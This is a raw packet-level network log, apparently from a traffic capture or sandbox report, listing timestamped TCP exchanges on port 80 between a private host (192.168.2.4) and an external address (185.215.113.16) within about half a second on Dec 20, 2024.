Dec 20, 2024 11:12:23.361711979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.362683058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.362729073 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.362792969 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.362833977 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.363759995 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.363811016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.363924980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.364420891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.364958048 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.365005970 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.365041971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.365231037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.366100073 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.366149902 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.366218090 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.366267920 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.367228031 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.367285013 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.367382050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.367532969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.368376970 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.368434906 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.368515968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.368612051 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.369501114 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.369554996 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.369620085 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.369791031 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.370610952 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.370764017 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.370814085 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.371732950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.371861935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.371897936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.371916056 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.372900963 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.372946978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.373013020 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.373060942 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.374046087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.374098063 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.374166965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.374219894 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.375215054 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.375266075 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.375346899 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.375395060 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.376264095 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.376386881 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.376434088 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.377427101 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.377564907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.377614975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.378582001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.378632069 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.378700018 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.379129887 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.379681110 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.379734993 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.379874945 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.380840063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.380898952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.380992889 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.382239103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.382287979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.382327080 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.382369995 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.383214951 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.383388996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.383436918 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.384221077 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.384350061 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.384401083 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.385381937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.385432005 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.385510921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.386593103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.386629105 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.386641026 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.387645006 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.387691975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.387742043 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.387794018 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.388813972 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.388936996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.388984919 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.389899969 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.390027046 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.390074015 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.391055107 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.391103983 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.391170025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.391894102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.392153025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.392199993 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.392281055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.392327070 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.393306017 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.393449068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.393496037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.394439936 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.394562960 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.394612074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.395654917 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.395709991 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.395713091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.395899057 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.396778107 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.396826029 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.396931887 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.396979094 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.397844076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.397890091 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.398020029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.399008036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.399050951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.399139881 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.399893045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.400108099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.400243044 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.400289059 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.401295900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.401499987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.401547909 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.402388096 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.402439117 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.402503014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.403898954 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.537084103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.537138939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.537194014 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.537301064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.537364006 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.537416935 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.538372040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.538428068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.538446903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.538544893 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.539253950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.539308071 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.539383888 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.539518118 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.540347099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.540399075 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.540465117 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.540514946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.541522980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.541585922 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.541599035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.541644096 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.542639971 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.542732000 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.542783022 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.542830944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.543761015 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.543807030 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.543862104 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.543945074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.544893026 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.544945002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.544948101 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.544994116 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.546082020 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.546137094 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.546164036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.546204090 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.547167063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.547225952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.547291994 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.547385931 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.548290968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.548345089 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.548386097 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.548398018 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.549443007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.549491882 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.549551010 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.549827099 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.550599098 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.550649881 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.550702095 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.550775051 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.551868916 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.551923990 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.552109957 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.552160978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.552850962 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.552903891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.552946091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.553050995 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.554135084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.554198980 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.554327011 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.554402113 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.555114031 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.555227995 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.555231094 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.555269957 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.556284904 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.556329012 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.556458950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.556509972 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.557379007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.557444096 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.557508945 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.557554007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.558520079 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.558604002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.558635950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.558760881 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.559650898 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.559709072 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.559776068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.559878111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.560770988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.560830116 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.560920000 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.560964108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.561918974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.561983109 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.562035084 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.562160969 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.563056946 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.563123941 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.563190937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.563271999 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.564321041 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.564450026 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.564462900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.564815998 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.565320015 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.565363884 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.565412045 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.565501928 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.566513062 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.566562891 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.566611052 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.566782951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.567639112 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.567683935 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.567768097 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.567811966 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.568736076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.568780899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.568849087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.568942070 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.569869995 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.569916010 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.569998026 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.570043087 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.571031094 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.571187973 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.571239948 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.572138071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.572252035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.572305918 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.573291063 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.573343992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.573400021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.574405909 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.574461937 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.574517012 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.575561047 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.575618029 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.575679064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.575896978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.576745987 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.576801062 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.576853037 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.577045918 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.577821970 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.577878952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.577944994 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.578017950 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.578953981 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.579003096 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.579009056 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.579199076 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.580089092 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.580173016 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.580225945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.581233978 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.581338882 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.581383944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.582351923 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.582402945 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.582427025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.583570004 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.583619118 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.583734035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.583897114 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.584654093 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.584708929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.584759951 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.585764885 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.585913897 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.585962057 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.586935043 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.587003946 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.587058067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.588069916 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.588254929 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.588305950 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.589167118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.589216948 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.589288950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.590312004 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.590361118 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.590429068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.591444016 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.591506958 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.591576099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.591624022 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.592602015 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.592751980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.592806101 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.593698025 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.593825102 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.593873978 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.594849110 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.594902992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.594968081 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.595895052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.595917940 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.595967054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.728729010 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.728785992 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.728795052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.728863955 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.729060888 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.729110956 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.729142904 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.729190111 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.730190039 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.730240107 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.730614901 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.730664015 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.730789900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.730835915 CET	49793	80	192.168.2.4	185.215.113.16
